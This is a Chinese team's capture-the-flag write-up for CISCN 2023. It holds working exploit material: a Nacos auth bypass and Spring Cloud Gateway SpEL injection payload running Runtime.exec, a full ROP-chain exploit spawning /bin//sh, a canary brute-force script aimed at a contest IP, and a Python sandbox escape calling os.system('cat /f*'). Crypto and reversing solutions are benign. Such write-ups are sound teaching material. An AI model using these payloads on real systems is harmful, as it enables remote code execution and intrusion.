CISCN2023 wp

2023/05/29 22:04:10

战队答题情况

排名:282

a6f287c23150ba48b360dcc75e6c0b0.png

解题列表

Web

  • BackendService

Pwn

  • 烧烤摊儿
  • funcanary

Misc

  • 签到卡
  • pyshell
  • 网络安全人才实战能力评价现状调查问卷

Re

  • babyRE
  • ezAndroid

Crypto

  • 基于国密SM2算法的密钥密文分发
  • Sign_in_passwd

Web

BackendService

在nacos权限绕过漏洞,网上找了一个payload
nacos抓包,修改返回包中参数,登录
image.png
https://xz.aliyun.com/t/11493#toc-5
对源码进行审计发现springcloud3.05 spel注入漏洞,在新建配置文件,名为backcfg

{
  "spring": {
    "cloud": {
      "gateway": {
        "routes": [
          {
            "id": "exam",
            "order": 0,
            "uri": "lb:/rvice-provider",
            "predicates": [
              "Path=/echo/**"
            ],
            "filters": [
              {
                "name": "AddResponseHeader",
                "args": {
                  "name": "result",
                  "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                }
              }
            ]
          }
        ]
      }
    }
  }
}

利用curl外带flag即可。
image.png

Pwn

27日_烧烤摊儿

本地执行发现买东西是如果输入负数会给自己加钱,然后买下店铺,改名,发现存在栈溢出,试出溢出为0x28,因为是静态,所以用ROPgadget –binary shaokao –ropchain可以获得payload,只需要填偏移即可。
exp:

from pwn import *
from LibcSearcher import *
from struct import pack

context.log_level='debug'

#io=remote()
io=process('./shaokao')

elf=ELF('./shaokao')

io.recvuntil("> ")
io.sendline("1")
io.recv()
io.sendline("1")
io.recv()
io.sendline("-1000000")
io.recv()
io.sendline("4")
io.recv()
io.sendline("5")

# Padding goes here
p = b'a'*0x28

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

print(len(p))

io.sendline(p)
io.interactive()

funcanary

  • 利用fork无限创建子进程去爆破出canary,最后利用穷举去partial write从而绕过pie
    from pwn import *
    context(log_level='debug',arch='amd64',os='linux')
    
    local = 0
    elf = ELF('./funcanary')
    #gdb.attach(p)
    if local:
        p = process('./funcanary')
        libc = elf.libc
    
    else:
        p = remote('47.94.206.10',29297)
       # libc = ELF('./')
    p.recvuntil('welcome\n')
    canary = b'\x00'
    for k in range(7):
        for i in range(256):
            print ("the " + str(k) + ": " + str(i))
            p.send(b'a'*0x68 + canary + p8(i))
            a = p.recvuntil("welcome\n")
            print (a)
            if "fun" in str(a):
                    canary += p8(i)
                    print('canary:')
                    print(canary)
                    break
                    
    print(canary)
    target=0x1228
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x02'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x12'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x22'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x32'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x42'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x52'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x62'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x72'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x82'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x92'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xa2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xb2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xc2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xd2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xe2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xf2'
    p.send(payload)
    
    p.interactive()
    

Misc

27_签到卡

image.png
把/etc/passwd改为/flag即可
image.png

pyshell

nc到远端,发现输入什么命令都是nop,但是字符串可以回显,但是长度还有所限制,用“_”拼接(“_”可以表示上一次执行的结果),再用“+”拼接成一条字符串表达式,用eval()函数执行

'__imp'
#'__imp'
_+'ort'
#'__import'
_+'__('
#'__import__('
_+"'os"
#"__import__('os"
_+"')."
#"__import__('os')."
_+"sys"
#"__import__('os').sys"
_+"tem"
#"__import__('os').system"
_+"('c"
#"__import__('os').system('c"
_+"at "
#"__import__('os').system('cat "
_+"/f*"
#"__import__('os').system('cat /f*"
_+"')"
#"__import__('os').system('cat /f*')"
eval(_)

网络安全人才实战能力评价现状调查问卷

交完问卷出flag

Re

babyRE

先打开看看,xml不是很懂,google了一下snap这个网站用法,打开这个网站导入xml。
image.png
跟着步骤走,点击绿旗子按空格开始
image.png
运行到lock这里提示输入flag,看到lock的控件里面有多个插入数字操作,应该是密文
提取出来得到[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
image.png
加密逻辑在右边,是各项异或
image.png

exp

# babyRE
flag=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
for i in range(1,len(flag)):
    flag[i]=flag[i] ^ flag[i-1]
for i in range(0,len(flag)):
    print(chr(flag[i]),end="")

flag

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

ezAndroid

登录网站试了一下注入好像不行
image.png
提示说是找附件漏洞,那就找呗,一堆apk里面就cpweb.apk最可疑
用jadx-gui打开,查看一下。先搜索MainActivity,但是好像没啥有用的东西
image.png
但是跟MainActivity同目录下有好多个Server,猜测漏洞可能就出在这里,重点看了一下WebServer
这里有个路径穿越拼接,应该可以利用这个漏洞。请队里的web手抓包一下。
image.png
image.png

flag

flag{15131359-6d71-45d3-b2ad-73e2f2335a7c}

Crypto

27日_基于国密SM2算法的密钥密文分发

https://const.net.cn/tool/sm2/genkey/
https://const.net.cn/tool/sm2/sm2-decrypt/
https://const.net.cn/tool/sm4/sm4-ecb-decrypt/

使用网站内容按照步骤操作即可。
image.png

27日_Sign_in_passwd

按照排列映射加密

import base64
import urllib.parse
after = r'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5'
asc = urllib.parse.unquote(after)
former = r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
change = str.maketrans(asc, former)
flag = r'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
flaga = flag.translate(change)
print(base64.b64decode(flaga).decode('utf-8'))